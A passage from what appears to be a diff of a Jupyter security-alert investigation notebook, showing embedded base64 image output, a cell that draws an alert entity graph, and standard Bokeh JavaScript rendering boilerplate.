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" ] }, "metadata": {}, "output_type": "display_data" - } - ], - "source": [ - "utils.md(\"Visualize Entities\", \"large, bold\")\n", - "utils.md(\"The red circle is the alert object. Green circles are the related entities.\")\n", - "alertentity_graph = create_alert_graph(selected_alert)\n", - "nbdisplay.draw_alert_entity_graph(alertentity_graph, width=15)" - ] - }, - { - "cell_type": "code", - "execution_count": 35, - "metadata": { - "ExecuteTime": { - "end_time": "2020-08-25T19:40:39.567563Z", - "start_time": "2020-08-25T19:40:39.429564Z" }, - "scrolled": false - }, - "outputs": [ + { + "data": { + "application/javascript": [ + "\n", + "(function(root) {\n", + " function now() {\n", + " return new Date();\n", + " }\n", + "\n", + " var force = true;\n", + "\n", + " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", + " root._bokeh_onload_callbacks = [];\n", + " root._bokeh_is_loading = undefined;\n", + " }\n", + "\n", + " var JS_MIME_TYPE = 'application/javascript';\n", + " var HTML_MIME_TYPE = 'text/html';\n", + " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", + " var CLASS_NAME = 'output_bokeh rendered_html';\n", + "\n", + " /**\n", + " * Render data to the DOM node\n", + " */\n", + " function render(props, node) {\n", + " var script = document.createElement(\"script\");\n", + " node.appendChild(script);\n", + " }\n", + "\n", + " /**\n", + " * Handle when an output is cleared or removed\n", + " */\n", + " function handleClearOutput(event, handle) {\n", + " var cell = handle.cell;\n", + "\n", + " var id = cell.output_area._bokeh_element_id;\n", + " var server_id = cell.output_area._bokeh_server_id;\n", + " // Clean up Bokeh references\n", + " if (id != null && id in Bokeh.index) {\n", + " Bokeh.index[id].model.document.clear();\n", + " delete Bokeh.index[id];\n", + " }\n", + "\n", + " if (server_id !== undefined) {\n", + " // Clean up Bokeh references\n", + " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", + " cell.notebook.kernel.execute(cmd, {\n", + " iopub: {\n", + " output: function(msg) {\n", + " var id = msg.content.text.trim();\n", + " if (id in Bokeh.index) {\n", + " Bokeh.index[id].model.document.clear();\n", + " delete Bokeh.index[id];\n", + " }\n", + " }\n", + " }\n", + " });\n", + " // Destroy server and session\n", + " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", + " cell.notebook.kernel.execute(cmd);\n", + " }\n", + " }\n", + "\n", + " /**\n", + " * Handle when a new output is added\n", + " 